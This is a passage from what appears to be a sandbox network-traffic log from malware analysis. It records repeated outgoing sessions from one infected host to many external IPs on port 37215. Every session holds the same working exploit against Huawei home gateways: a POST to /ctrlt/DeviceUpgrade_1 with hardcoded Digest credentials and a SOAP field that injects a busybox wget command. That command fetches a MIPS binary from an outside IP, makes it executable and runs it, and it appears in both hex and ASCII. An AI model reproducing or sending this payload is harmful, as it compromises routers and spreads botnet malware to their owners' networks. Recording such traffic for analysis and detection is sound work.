xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:57.999697924 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:12.589786053 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	51822	154.198.142.3	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:50.044661999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	33468	156.93.225.223	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:00.680618048 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	60948	94.122.228.135	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:02.097951889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	36850	94.123.240.78	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:02.098094940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	44660	92.95.253.29	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:02.614694118 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:03.342947006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:04.782800913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
